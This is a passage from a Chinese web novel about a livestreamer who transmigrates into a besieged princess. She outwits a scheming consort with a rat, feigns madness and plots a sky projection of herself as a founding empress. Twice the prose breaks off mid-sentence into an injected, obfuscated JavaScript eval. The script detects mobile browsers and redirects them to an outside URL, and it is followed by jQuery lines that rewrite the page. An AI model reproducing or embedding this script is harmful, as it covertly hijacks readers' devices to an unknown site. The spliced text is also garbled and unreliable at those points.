声音并不大,语调也很平和。
然而就是这么一句话,却让惯会演戏、静躺床上假寐的贤妃一下应激了,一下坐了起来,缩回了床底的两只脚,且双手掩面,尖叫起来:
“老鼠呢?老鼠在哪里!”
皇帝呆愣愣的:“衣荷,你没事啦?”
【医学奇迹】
【ww】
【姜神医果然医术高超,一句话就让陷入昏迷的娘娘成功转醒了啊】
【医者仁心,姜神医妙手回春啊】
原文中的陆贤妃工于心计,擅长演戏,心理素质也很好,寻常设计很难让她上套。
唯独一点——她很怕老鼠,很怕。
怕到一看到、听到老鼠的存在就会应激到尖叫、失智的地步,无法控制。
和她的童年阴影有关,这是大反派贤妃为数不多无法克服的弱点。
鲜有人知。
原文中,大结局皇帝彻底众叛亲离,加上病重,政令不出紫宸殿,算被架空(彼时原主早已嘎掉),几位军政大臣和皇子打着清君侧名义审讯落败的陆贤妃,为能多找到贤妃和太子的一些关键罪证和部分人员名单,靠的就是用这个千方百计打听来的致命弱点来恐吓对方。
姜柏弥只是在这提前利用了。
旁边的宫女焦急抚慰:“娘娘,可没什么耗子,这没有耗子……人哄你呢。”
贤妃反应也快,立刻明白那个六公主故意吓她,不由得恼羞成怒,朝着远处的人直直戳了一只食指过去:“你——”
“是真的啊。”姜柏弥一脸无辜,还用一副欠欠的语气,故作惊讶,“娘娘刚才不是昏迷过去了嘛,怎么——梦中倒听见了我的话儿?”
一只杰瑞不知怎么,悄悄在床底裙摆边露了头。
“六公主是何居心,胡说什么——啊啊啊啊啊,老鼠!”那个贤妃身边的宫女本来意在职责,扭头一望,看见了灰皮的老鼠。
“老鼠!”贤妃回望了下,瞬时是三魂去其二,一下子丢了毕生的矜持与礼仪,掀起被子,身子往回缩,再度尖叫起来,“打死它!”
那只灰皮老鼠冷不丁跳到她怀中,和贤妃对视了一眼,贤妃一个哆嗦,眼前一黑,身子往后一倒,这下真的吓晕了过去。
老鼠也机灵得很,又跳下了床,朝殿门跑去。
几个太监手忙脚乱过去,拿铲子的,拿笤帚的,拿竹片拍子的,追那只老鼠,一时掼的掼,拍的拍,你一下,我一下,那杰瑞也是成了精,竟硬是没被逮到,一会儿就让它跑了出去。
几个太监跺跺脚,也拾着家伙狼狈地追到外面去了。
鸡飞狗跳,思之令人喷饭。
‘相鼠有皮,人而无仪……’
望了眼床上真昏过去的贤妃,姜柏弥莫名想起了这句话。
见证了整整一场闹剧,皇帝也是看得愣住了,反应过来,也顾不得姜柏弥了,随手丢下剑,快步来到床边,拾起贤妃的一只手,两手紧紧握住。
那个抚慰了贤妃的宫女很有眼色,立刻把矛头重新指向姜柏弥:“六公主,你见娘娘刚刚转醒,明明虚弱得不能动,就故意提她最怕的东西吓她,欺负一个孕妇,又是推又是吓的,安的什么心哪?”
宫女在这话里还特意强调贤妃还是慢慢醒了的。
是又受公主惊吓,才尖叫出声。
至于姜柏弥,有一说一,那只老鼠还真和她没关系,不是她准备的。
她无意间窥到的那只老鼠,只是恰巧给她提供表演时的灵感。
一个演员,顺利捕捉到了戏中的细节,自由发挥。
仅此而已。
“哎,可别说我推的啊,可别赖我,咱做事得讲证据。”姜柏弥没陷入自证陷阱,表现得更加无辜,话锋一转,矛头指向对面,“你说说,你刚才知而不报,见到了老鼠,不说通报一声,反而大喊大叫,吓倒了你家娘娘,到头来污蔑我,是什么意思?”
宫女:“你分明是……”
“不要说了!”皇帝守在贤妃床边,见心上人昏迷不醒,现在是心烦意乱,他紧紧抓着贤妃的手,随口下旨,“滚——都滚。”
此时此刻,皇帝都顾不上那么多,只想着他的爱妃。
姜柏弥扬头斜睨一眼,床那边的场景尽收眼底,心里有了谱。
她又把剧本梳理了一遍。
历史上,只有后来的污蔑投敌事件,没有巫蛊事件,这段剧情算是这本同人小说原创的。
原来的小说里,借巫蛊之祸这么风险大、难控制收场的事,把一个小小的六公主摁死,并不是贤妃的真实目的,她主
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811272|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要是想借这个由头,倚靠背后家族的力量,在前朝后宫掀起一场排除异己、清洗他党的风波——说白了,这是一次誓要先下手为强清洗敌人、为太子铺路的政治投机行为。
老皇帝步入暮年后,愈发性情暴虐,也对原主六公主没什么感情,皇帝虽不做人,但也存有私心。他一贯恃弄帝王心术,然而,前段日子边疆摩擦频发,外患不止,他正急需用人,却发现朝中几乎无大将可任,这下害怕了,觉得江山不稳了,位子不稳了。他怕死,又怕失去权力,这才有了重新启用六公主背后余家人才的意思,他私心也知道多年来被自己打压的余家是忠于他的。
忽然出了这档子事,文中写的是老皇帝愤怒过后,隐约也觉得有些蹊跷——这么多年,他也不是真的不清楚枕边人贤妃私下的小动作,甚至从某种角度来说,陆贤妃就是皇帝的“白手套”,会在他的暗示下,帮他干些后宫中说难以直接插手的事,要么帮他制衡一些世家,要么帮他疯狂敛财。
但贤妃这次没揣摩对圣意,或者说,她心知肚明,但为了给儿子顺利登基铺路,也为保住自己现有的荣华富贵,她需要不择手段、铤而走险。
这次的边疆战事元帅人选,陆贤妃要上自家人,拿下军队大半的指挥权,顺带挣下军功威望,她很清楚,边疆战事将起,若说平息也不是一年两年能搞定的,皇帝年事已高,疾病缠身,也看是时日无多了,万一在此期间随时有驾崩的可能,万一自己儿子要即位,军中也有自己人能及时入京勤王……
然而,对皇帝来说,再喜欢与放任贤妃,对这种可关乎到自己权位性命的大事上,他不肯轻易答应,也害怕陆家朝内朝外一众文武届时里应外合把他坑了,于是贤妃着了急,就设法拿六公主做牺牲品唱了这出戏。
为保皇家颜面,也是要保下一次六公主来收买余家的忠心。原小说里,皇帝最后也没如贤妃愿,刻意在宫中压下了这两件事,更未让这些事在他处溢出影响。
至于老皇帝后来为何又要杀六公主——
原文后续中,陆贤妃故意收买外国刺客在大场面上行刺以泼脏水给原主和她家族,并把方方面面栽赃的细节做到极致,就是算准了老皇帝怕死、敏感多疑的心理,定会在刺杀事件后给六公主等人在心里判了死刑,再也不敢用,以后只能用自家人。
也不出贤妃所料,小说中在几天后招待百官使臣的宴会上,一遇刺,暴怒心虚的皇帝不假思索,直接给随同在宴的六公主宣布了死刑,当场给她赐毒酒,无任何翻身之地。
说到底,一旦真正涉及到自身安危,晚年一直疑神疑鬼的老皇帝是不会理智思考的。
原主被摆了一道,一直哭诉自己并非幕后黑手,皇帝全然不信,原主就那么平白无故死了,她背后的家族并无准备,也跟着覆灭了。
……
满殿的太监,刚刚都奔出去抓老鼠去了,到现在都没回来。
听到皇帝赶自己的话,姜柏弥也不含糊,就要往外走。
按原文里对这个皇帝性格的描述,发生了这么大事,没有当场叫人把自己关到牢里待审,只是让先滚,那就是要保了。
那个同样被说要“滚”的贤妃贴身大宫女,自然是不会真走的,她是退远了一些,着急等太医。
姜柏弥刚走到殿门口,几个太医提着药箱风风火火闯了进来。
姜柏弥朝床的位置回望了过去。
那几个太医都战战兢兢,仿佛生怕不一小心就触了这个喜怒无常暴君的霉头去见阎王。
一群半只脚踏入棺材的太医围着贤妃,费尽毕生功力看她的病。
其中,一个山羊胡子的御医似乎对这类病症很有经验,一番望闻问切下来,心里似乎有了底。
姜柏弥转过身来,走出殿门没几步。
还隔着段距离。
却听里面传来——
“你说,怎么治?”
——老皇帝的声音异常暴躁。
“娘娘这是‘惊则气乱’,遇了险,受了惊,一时心气逆乱,才致昏厥的,臣观娘娘胎息稍促,然胎元根基未损,陛下不必过于惊慌……”
一道苍老的声音颤悠悠传来。
“说是不必过于惊慌,她的脸都那么白了,气都快上不来,你在敷衍朕?”又是一道恶狠狠的质询声,俨然是焦急下彻底口不择言,“你们今天若是让娘娘和腹中胎儿有了什么闪失,或者日后落下了病根让人查出来,朕就把你们的头全砍了!”
【太医:神金】
【华佗:这个我熟】
【连太医都得罪啊真6】
【古代医闹】
【早期医闹事件】
【出生皇帝】
【杀戮忘关了】
【医闹也是传统艺能了】
【祖传医闹】
【高危职业:太医】
【有这个神人皇帝这个国家也是有了】
【到时候趁你病给你多开一剂药就老实了】
【真就欺负老实人】
【捞尸人】
4. 失恃公主or开国女帝(3)
姜柏弥出来后,没走几步路,两边林子窜出两个装备不凡的侍卫,直接把刀剑就架了过来,架到了她身前。
两个侍卫冰冷冷道:
“陛下来时放了话,他出来前,若无他口谕,谁也不许从此殿出来!”
姜柏弥沉默了一秒钟,望了眼旁边上蹿下跳捉老鼠的一行小太监。
一个高个子侍卫主动解惑:“他们是奉命捉老鼠的,这算是陛下的意思。”
“人你们要看旨意拦,那老鼠呢?我也没见你们拦着它,为什么它出来你们不管不问,它有陛下口谕吗?”
侍卫面面相觑,显然,他们被这个问题震惊到了。
——他们没想到真有人会问这种问题。
那个高个子侍卫思考了下,回复道:“耗子出来我们不拦,是因为它不是人。”
“不是人就是你们不拦的理由?”
“是的。”
“好,这下我知道你们为什么不敢拦陛下了。”
两个侍卫都愣住了,等明白后,心如鼓擂。他们生怕这个公主不怕死的去皇帝面前胡乱告状——不管她得罪了贤妃还是皇帝,她自己死了不要紧,若是临死前拉个垫背的可不简单么?
他们陪护的皇帝,他们最清楚,上了年纪后,一年比一年年迈昏愦,真正是“老而不死是为贼”。
真教那公主胡乱说出去了,不管真假皇帝也怕不会放过他们。
哪怕这个公主再怎么名不副实,再如何招了陛下贤妃的忌,目前情况也是不明…两侍卫也不敢气宇轩昂,即刻便换了副客客气气的态度,刚那个高个子的侍卫赶忙压低了语气,连威胁都不敢,半是求饶半是请求道:“好公主,我们也是公事公办,不是要为难您,这是忠于陛下不得已为之啊…您且等一会儿?您没有口谕我们真的很难办啊……”
姜柏弥:“这么说来,我也是有陛下口谕的,我也可以走的。”
两个侍卫齐齐对视。
高个子侍卫接着询问:“陛下说了什么?”
“陛下让我滚。”姜柏弥用一本正经的语气回复对面。
“……”
两个侍卫竟然从这句话的语气中听出了些许骄傲,一时竟无言以对。
此时弹幕飘过了无数的哈哈哈哈。
“有说滚到哪吗?您有何证据?”
另一个侍卫开了口,甚至还一脸严肃问了起来。
“要不,你进去问问皇帝?”
姜柏弥歪了下头,用了种哄小孩的语气,还贴心地给出建议。
他们下意识望向宫殿。
里面不断传来皇帝正在发起狂来骂太医的声音。
两个侍卫:“……”
【第一次听到宫殿会叫】
【没逝的】
【现在进去的话,很快就发现族谱能补齐了】
【过年走亲戚都没那么全过】
此次巫蛊相关秘事确实没走漏多少风声,两侍卫都是陛下亲卫,他们是陪皇帝来了昭华殿,只知六公主似乎是犯了什么错,但不晓得细节。
只冲“疑似犯大错”这点,他们都不会轻易放走这个可疑之人。
但对方此时表现得气定神闲,再加上刚才那番作弄拿捏,两人态度反而一直是放得客气的。
高个子侍卫几乎是恳求语气:“殿下莫要作弄,我等担待不起。”
另一个坚持不懈追问:“所以,殿下,我们也是有难处的——陛下真的让您滚了吗?”
也是很真诚的语气。
高个子侍卫瞪了他一眼,笑道:“他自小伤了脑子,不会说话,您就在此处候着会儿,如何?”
姜柏弥本意也不是要走多远,她倒不是要逃跑,若是单单一个人,循着这个思路开展任务倒没错。
就六公主此时的境遇,背负着一个大家族存亡的命运,哪个地也没处去,很多事想做也做不了,且多做多错。
她还得留在宫中周旋。
现在无数双眼睛盯着她。
唯一能做的,大概是……
“我哪也不去了。”姜柏弥说了句让两位侍卫安心的话。
他们以前和六公主接触不多,但总觉得眼前之人哪里不一样了。
结果,下一秒。
对方从袖中不知怎么抽出一条长长的白绫。
“我要上吊。”
*
宫里近来风言风语说,那个六公主像是疯了,一会儿说什么撞墙,一会儿非要上吊,还要撒疯,像招了什么邪物,也不知是真是假,陛下一怒之下,把那六公主关了起来。
也有宫人私下偷偷讨论说昨天看见陆贤妃带一大群人浩浩荡荡去往昭华殿,想来就和六公主发疯有关,或者就是为了六公主发疯而去。
谁也没提到巫蛊的事。
更有传言,说连六公主的那个关在慎刑司的贴身宫女碧姜,听说六公主疯了,好似命不久矣,一时着了魔,夜里撞了墙,非得随之而去。
听说尸体裹个草席子随便被人丢出去埋了。
这个版本流传最广。
此时已是距离贤妃搜查宫殿的第二天中午。
昭华殿庭院。
日中。
庭中砌一小池,广九尺,从十六尺,水色清碧。池畔有径,以青石板墁之。
周匝广植嘉木,木间设一秋千,端坐一明丽美人,着素色罗裳。
其目炯炯,其眉弯弯。鬓垂金饰,额点朱蕊。五官明艳,偏薄施粉黛。
淡极始知花更艳。
纤手捉索,轻身而起。一晃一荡之间,裙袂翩飞。
素裙摇曳入云间。
又恰似,轻云出岫、仙霄出坞。
……
对这个坐在秋千板上荡得十分开心的六公主,一个梳着螺髻的宫女眼睛溜溜一转,若有所思,拎着食盒,姗姗上前,笑道:
“公主,您该吃饭了。”
这个螺髻宫女是贤妃派来照料“失心疯”公主的人。
她状作无意,实则细致观察着面前这个看起来还算正常的人。
想看出端倪来。
贤妃醒后,初闻这个六公主受刺激疑似疯了、还被皇帝关起来的消息,不免十分怀疑,就派自己原来安在昭华殿的眼线来接近六公主。
打探对方是否真的疯了。
秋千上的姜柏弥,没有正面回复,而是轻轻歪头,明眸善睐,莞尔道:
“你也玩三国杀吗?”
“……”
螺髻宫女愣住了。
什么……是三国杀?
她没明白这句话的意思。
不过就这么一句没头没脑的话,配合那种貌似带着惊喜的语气,螺髻宫女下意识后退了两步,和对方拉开了点距离。
这个公主,倒是不闹了,可这会儿的言行似乎更加古怪……
“不玩这个游戏,你只能度过一个相对失败的人生。”姜柏弥话语中步步紧逼。
螺髻宫女更是物理意义地后撤了两步,意识到自己的反应略有不妥,她又重新上前来,骤然,又是换了种神色语气,意图借事试探:“殿下,外头传来个不幸的消息——”
姜柏弥神色也紧张起来:“有人给三国杀刷好评了?”
如临大敌,情真意切。
“……”
螺髻宫女顿了下,也飙起了演技,一行泪说流就流:“听人说,碧姜姐姐……听说了您的事,她——撞墙自尽了!裹了个草席子就被人丢到乱葬岗去了。”
谁晓得,听到昔日关系最好的贴身大宫女死讯,姜柏弥非但没有露出一丝悲伤的神情,还疑惑道:
“碧姜是谁……她也玩三国杀吗?”
螺髻宫女:“……”
……这是真的疯了吧。
她很确信,她没从六公主眼中捕捉到一分一毫对贴身侍女死亡的悲伤情绪。
螺髻宫女自认为呆在六公主身边有一段日子了,也知道她是个重情义之人,对那个从小陪在她身边的碧姜如亲人般,怎会如现在一般性情大变、不管不问。人非草木,孰能无情,看来,只能用人疯了才解释得通——宫女自然不知道人已经被救走了。
该宫女也观察了有一阵了,思虑片刻,便匆匆放下食盒,找借口离开了。
背过身时,她还喃喃道:“人……怎么就这么大变化呢?”
很小声,但是让姜柏弥捕捉到了。
而她随身携带的直播系统也很智能,会自动选取最佳角度直播现场,也会根据实际切镜头,同样,它的收音很好,直播间的观众们也听到了那个宫女的疑问。
弹幕一下子热闹起来。
【蚌埠住了】
【这下是玩三国杀玩的了】
【破案了,三国杀干的】
【说起来了,过会儿等下播大家别忘了给三国杀刷差评】
【谢谢提醒,差点忘了】
气氛到这,许多观众都被炸了出来。
话题的走向也越来越离奇、抽象。
不过,姜柏弥的直播间有个特色,就是对各类言论一向很包容。
姜原本是一名演员,后来转型成为前往各个世界执行任务的主播。然而,令许多考古她的路人粉感到意外的是,她在时空网并不是以颜值主播的身份出名的,而是作为……抽象主播。
望着宫女走远后几近落荒而逃的背影,姜柏弥的手轻轻伸向这个硬木食盒。
这个食盒由数格屉盘叠成摞在一起的,好几处都是榫卯结构。
姜柏弥用手指捏住了食盒某处的木质锁扣,没费多少力气,就把它拨到了另一侧去。
明明是一个极其简单的举动,弹幕却洋溢起一片“哇,主播好厉害”“神迹”“你们一个个太夸张了吧,搁这吹也不会吹,要吹也是吹主播会用筷子吧”,一个个的故意夸大这一行为,还有说“羡慕食盒”的。
姜柏弥:“……”
弹幕里的观众一堆人也搞抽象,实际上都是和抽象主播双向奔赴的。
姜柏弥掀开食盒盖子,最上面一层放的是一碟色泽鲜艳的玫瑰酥,淡粉色的,摆盘也很好看。
此处没旁人,姜柏弥又在和弹幕观众们一阵嬉笑怒骂中打开了每一层,摆出了所有的食物。
姜柏弥经历了不少古代世界,攒了不少验宫廷食品
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811273|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安全方面的知识,她从袖中取出了一枚银针,把食物一一验过,见这些表面上都没出问题,又挑了一两种基本不会出问题的食物品尝了起来。
享受幽禁待遇的姜柏弥,正悠然自得地享用着她的午膳。
她确实没有心理负担。
早在昨天下午她就被关到昭华殿,被限制了人身自由,她也没硬闯出去,而是用原文描述过的特殊联络方式联系上了原主家族安排在宫中的一些人,一番商议下,教能够自由行动、身份各异的线人用假死脱身、金蝉脱壳的方式救下碧姜。
夜里,就开始行动了。
人在夜里就秘密送出了宫,藏到了六公主背后余氏家族名下某个庄子给保护着。
原文中,这个无辜的姑娘在慎刑司第三天就被贤妃的人活活折磨死了,也是忠义之人,至死没有选择协助构陷指认原主的“罪行”来获得赦免——其实假使真的招了,又能怎着,无非是普通人的人之常情。
就是忠义,所以难得。
昨天下午弹幕也一直强烈反应,要她把这个姑娘救下来——碧姜是很多读过原文观众的一个意难平。
姜柏弥也就照做了。
……
其实昨天在皇宫众人面前装疯卖傻、寻死觅活的,姜柏弥确实是有目的为之。
她是在确保皇帝不愿意真正动她的前提下做出这一行为的——起码在战事平息前会是这样的。
既然皇帝有大事化小的心思、又偏偏怒气不平也不愿轻轻放过她,那她索性递给对方一个合情合理的理由,能够对一些四起的流言做出交代,也让暴怒的对方有理由对自己施展一定惩罚,她也有机会暂时脱离风暴中心。
至于对方信不信,那无所谓,借驴下坡而已。
说来姜柏弥也觉得有些好笑,就她几个时辰前设法打听的消息来看,老皇帝也确实够狠,也没拿普通人当人,为了防止巫蛊相关流言扩散,丢了他的面,就想着下旨要把那些在场且知情的普通宫人都秘密处决了。
反而是陆贤妃阻止了他的杀戮意图——六公主身边的宫人,基本都是贤妃那边派来的钉子。
想想也知道,倒也不稀奇,一个两个,贤妃估计不在意、不介意牺牲。一群呢?如今用人之际,贤妃也不敢真的砍掉自己许多臂膀。
吃饱饭足后,关着没有具体时限的禁闭,又无人叨扰,一时竟也算得上岁月静好,姜柏弥寻了僻静处坐下,她主要还是靠虚拟键盘打字和观众们商量后续剧情的走向。
直播互动时,有条内容长长且字体加粗的彩色弹幕在一众红白颜色的弹幕中脱颖而出,吸引了她的注意。
她认真浏览了起来。
【请主播往这里看哈——我有个点子,不知道能不能用。主播这次带的应该是天幕系统对吧,我是主播老粉,知道它的许多功能,应该是可以做到一些视频内容投放到小世界里全国各地的天空上。我记得主播往期直播时说过,你以前做过演员,还把你的一些影视作品链接放在了那期的直播简介下。我看了好多,记得一部电视剧里你演过历史上的大夏开国皇帝,和这部大夏背景的历史衍生小说的时代背景正好对应上了,主播有没有考虑过,装个大的?我指的是,换一种新的方式降维打击。比如说你把我提到的那部影视作品里的女帝形象剪辑一下,然而由你的天幕系统投放到天边,给全国人看看,来场真正的君权神授、天命之女的大宣传!】
那条弹幕的点赞量急剧上升。
后面一堆弹幕刷了起来:
【甜菜!】
【我觉得行!】
【我也看过,姜姜不搞抽象时演的开国女帝真的很符合正史中记载的形象,在剧中又美又飒】
【可以啊,这本小说虽然内容抽象,但是大体走向还是符合正史的,完全可以移花接木链接大夏开国时期的历史】
【怀念主播还没搞抽象前的时光】
【抽象是一条不归路】
【想想都爽!想法天才啊~】
【臣附议】
【加一】
后面紧接着就是一堆“加一”刷屏。
姜柏弥想了想,也心动了,觉得这个法子新奇有趣不说,操作起来还颇为简单。
她先是开口对这个想法表达了赞许与感谢,接着就表示她决定采取这个建议。
她还在专门公屏中发了条弹幕回复,算是反复说明。
在她决心采纳这个意见时,已经想好了在天边投射她参演电视剧的具体时间点了。
按原著走向,三天后,皇帝有个招待文武百官、命妇贵女、外国使臣的大场面,贤妃各有个酝酿了很长时间的招,对方的心理历程是假如巫蛊事件没扳倒余家,她就准备勾结一个和余家有大仇的外国人假意刺杀皇帝,再泼脏水给余家……还有六公主。
结合种种迹象,姜柏弥推断出这个泼脏水事件依然不会避开,大概率还会发生在大庭广众之下——
那么,同样在大庭广众之下,一个前脚被污蔑卖国反贼的公主,后脚就有神灵昭示她是全国最根正苗红的血统……
姜柏弥:嗯,感觉展出效果会比六月飞雪还是会震撼一点。
5. 失恃公主or开国女帝(4)
“娘娘,那个六公主,我给她送饭去,让她吃饭,她却口口声声什么‘sānguóshā’的,疯疯癫癫的,和以前看起来判若两人。”
华丽的偌大宫殿内,一个梳着螺髻的年轻女子跪伏在地板上,对着一层厚厚水晶珠帘,一字一句讲述着她的所见所闻。
“抬起头来,过来见我。”
她的正前方传来了一道温柔和善的声音。
她微微抬起了脸,神色惶然——此人正是昭华殿当值的那个宫女。
隔着一串串晶莹剔透的水晶珠,隐约勾勒出一个美人的倩影。
“站起来罢……本宫又不会吃人,掀起帘子,就这么着,过来。”
螺髻宫女一板一眼遵循着对方的指令,掀开水晶珠帘时那种冰凉的触感似乎才让她有了些许真实感,恍惚之间,她才看清了眼前的景象。
床榻上。
斜倚着一个妆容清丽的中年美人,一只胳膊弯起撑着脑袋,随意挽了个髻,不见珠翠满头,少了几分端庄,然较平日,愈见清艳,恰似出水芙蓉。
那双漂亮的眼睛。
尽管眼角隐约有了岁月的吻痕。
难掩她的美丽。
宫女惊觉眼前人已过了不惑之年。
如果不是知道对方的真实为人,可能连自己也不相信这样的美人还会作恶吧…宫女眼睛眨都不眨。
螺髻宫女不是第一次见过陆贤妃。
可还是在这种场景下被这张美人皮迷惑了三分。
她定了定神,尽量不看那双眼睛。
“娘娘……”
榻上美人面上了无情绪,轻轻启唇:“你刚才所说,确无虚言吗?”
螺髻宫女低眉顺眼道:“刚才所说,确无半分虚言。”
盯着宫女的眼睛看了好一会儿,陆贤妃才算点点头,也没甚笑意,只是挥了挥手,让对方退下。
贤妃就近观察也没看出什么端倪来,若有所思。
而等那个宫女真正离开后,贤妃就似换了副面孔似的,面色不耐烦起来:“春妤——”
一个人闻讯赶来,正是上次在昭华殿随侍在贤妃身边、还和姜柏弥有过短暂语言交锋的贴身大宫女——春妤。
“你刚也听到了,这是疯得古怪,我没记错的话,本宫醒来后,这个小六就是疯了,你觉得…这是什么事?”贤妃蹙眉。
“回禀娘娘,这个六公主昨天还口齿清晰,虽然那时表现的性子确与往日不同,还敢顶撞娘娘与陛下,说出那等无君无父之言…又一下就疯了个彻底,想来,她当时应该是受了些刺激,但后面上吊寻死之类的行为绝对是装疯卖傻为了逃离最大的审判,说不定是拖延时间。”
春妤一脸不屑。
“……我看这疯病是假、避祸是真,不过,这人竟然敢这么搞,看似忤逆大胆,脑袋好像灵活多了,比起以前确实难对付了点。”陆贤妃有点纳闷,“还真让她猜对了陛下心思,自我醒来,无论我如何说,陛下也没说要把她如何,故意转移话题,巫蛊咒人、残害皇嗣,这两条放在平时都是不得了的大罪,他弄的这些小惩小戒算得什么?只管轻轻幽禁,罪名也不教人往外传,原来人家还惦记着当年用完就扔了的余家给他保卫边疆呢,这个死小六有了这么大把柄,不定他还暗自高兴,赦其罪收买人心,更好要挟余家给他做事了。果然指望不上他,那别怪我无情,只能坚持原来定下的法子了,还是得让皇帝没得选,只能按着本宫的路子走,到最后只能用本宫的人。”
至于“原来定下的法子”是什么,两人心知肚明。
也就是安排一个未遂的刺杀事件,最后给六公主泼脏水,给她和余家定下个勾结外国、卖国弑君的罪名。
“想想我为推家里人费了多少谋算,又冒着多少风险,可整个陆家的人,年轻的上上下下也没几个有出息的去军队混出来个得脸的来,自本宫十几年前登上妃位,陆家一朝得势,都是借着本宫的威风不修人事,后辈子侄成堆钻去京城闲职清职要职享富贵去了,年轻一代谁也不愿去边疆谋职,一点也不为本宫、为陆家着想,本宫这次就是推了他们上去,怕他们也给我坏事!”
春妤腹诽,你贤妃未必见得无辜,这些年害了多少人,树了多少敌,又修过几件人事。
明知陆贤妃方才那些话显得多么双标,春妤也未点明,毕竟身家性命乃至前程都绑在了这位娘娘身上,她也跟着吐槽陆家年轻一群酒囊饭袋如何对她的娘娘敲骨吸髓、在外如何狐假虎威。
贤妃口中的陆家。
本靠军功起家,现在军中却是几乎是后继无人的局面,只靠着一些年长的人把持一些军务。
陆家与贤妃是不可脱离,相互依附,多年来一直捆绑得死死的。
陆家人近年来在一众皇亲国戚中都敢横着走,实在脱不了贤妃的干系。
陆贤妃看似是寻常妃位,实则循贵妃之仪,享皇后之尊——两年前,先皇后薨逝,皇帝几次三番想立她为贵妃、甚至为后,最后却未能成功。
论理,贤妃入宫多年,家族显赫,又得圣心,还有一子,封作皇后也不为过,百官并无异议——说难听点,即使百官有异议,按照当今这位皇帝的权势威压,也不成妨碍。然而,最意外的一个因素坏了事,这的前朝后宫几乎人均精神病,皇帝生母、当今太后,性情同样极端,与贤妃早年矛盾重重,便多次以死阻挠。
皇帝一惯荒唐专断,却事事未敢违背太后,早年太后为他呕心沥血,还曾因一件大事在先帝面前愿意以命换命保他,为此几乎折了半条命。“孝”算是这个暴君皇帝为数不多的“优点”——也不论是否为愚孝,皇帝最后作罢了。
贤妃更恨太后了,但不敢轻易表露。
皇帝自然也有安抚之举,他倒真不是在背地提前联系母亲作戏,并非曲线救国,真真切切给予了贤妃名分外的许多实际利益,薪俸、礼制、明里暗里隐形待遇皆与副后无异,最重要的是,还把她儿子立为太子——这是最要紧的。如此,太后刚提了天大的要求,碍了皇帝面子,这时,纵有千般不满,竟也不能再说的。
除了面对太后时他有些束手束脚,皇帝一贯是站在特权阶级最顶端的,一个暴君,他以践踏规则与礼法为乐。
太后各种拼死阻挠,不光因和贤妃性格不合,也因立场上就天然对立。太后本意是她想扶持自己家族那边出来嫔妃的皇子做太子,所以她不教贤妃有名正言顺的地位,好让朝中大臣们后面选边站时也要掂量掂量,没想到阻挠起了反效果,反而让皇帝心生亏欠,直接立贤妃儿子为太子…孩子都成了太子,太子之母的贤妃未来成为贵妃、皇后也就是顺理成章之事了——
先皇后在时,贤妃便尊荣风光;先皇后薨逝,更是风头无二。贤妃如此特殊的地位,这些年来,陆家众人靠着这层裙带关系作威作福,陆家年轻一代自然谁也不愿意放下京中唾手可得的富贵日子不过,去边疆苦寒之地受苦受累、流血流汗。
贤妃姑母的恩情还不完的,那就先欠着。
而这与贤妃的利益相悖,太后那边虎视眈眈,陆家昔日得罪打击势力也多,她一直害怕害怕儿子继位时发生巨大变故,很多年前就与自家兄弟父辈商量找好几个习武的放入军中历练,好为日后军中扎根做准备,继家中从军传统。结果陆家上下,富贵迷了眼,尽是目光匪浅之辈。抑或是心疼娇儿、怕去历练吃苦,再就是图眼前富贵,只觉捞不够,再看前途待遇以及生活环境,自家去了受苦,放着家里其他人在京中、或其它富庶之地稳稳升迁富贵吗?要么找理由搪塞过去,要么断然拒绝。
贤妃堂堂宠妃,还地位特殊,外人看来荣光无限,偏偏教出个正经子弟从军的事都逼不了自家人,寥寥旁支三五年轻人纵使勉强去了,也是酒囊饭袋,过去作大爷的,毫不作为。恨得贤妃回宫后私底下直骂娘家人,即使这样,她都不敢明着逼急了。
她和陆家人天然绑定得很深,宫中多少脏活累活、不见光的还等着陆家人善后呢。
现在想想娘家人只钻钱眼,不考虑她的处境,陆贤妃更是愤愤不平,郁气积心——比那六公主胆敢顶撞她时还气。
陆贤妃坐了起来,捂着胸口,旁边的春妤急忙搀扶起她。
“无论如何,这个份上了,本宫也只能用娘家那几个不成事的兄弟了。”贤妃闭目。
春妤给她轻轻捶背。
用不了侄子、外甥,只能用兄弟了。
这次行军的统兵权,一定要拿下。
“那个百官宴是在三天后?”
“是的,娘娘,如果第二个计划照旧,那个人(指刺客)已经再三确认,抵上他那条命也要拉余家下水的。”
陆贤妃舒了一口气。
这算是她最近为数不多满心期待的事了。
贤妃不敢想象,军中威信本就高的余家重新把握军队的话会有怎样的变数!
更别说当初余妃的死、余家如今的惨淡,分明和自己脱不了干系。
皇帝近来本就身体不好。
若是皇帝哪日暴病而亡……
她必须推儿子上位以保自己地位!
她只能把命攥自己手上!
……
三天后。
按往年惯例,皇帝大宴四方。
宴会也着实热闹。
为了盖过近来一些流传于宫内外的流言蜚语,皇帝还故意扩大宴会规模,邀请了更多人,办得热热闹闹,为的就是冲淡近来的晦气。
且不论京中官员,各地也有派人来京赴宴,还来了些什么欧亚国、大洋国的外国使臣,还有朝廷封过的命妇、后宫有品嫔妃,都按例赴会。
一切都有条不紊地进行着。
皇帝心头近日来的阴霾也洗刷了几分,看着下头热闹的景象,竟一时忘了烦恼,忘了边疆战事紧急,欣赏着美人的歌舞、民间奇人的杂技,也算怡然自得。
皇帝右边坐着太后,左边位置挨坐着陆贤妃,婆媳私下龃龉不断,面临百官众人,互不相干,倒显得相安无事。
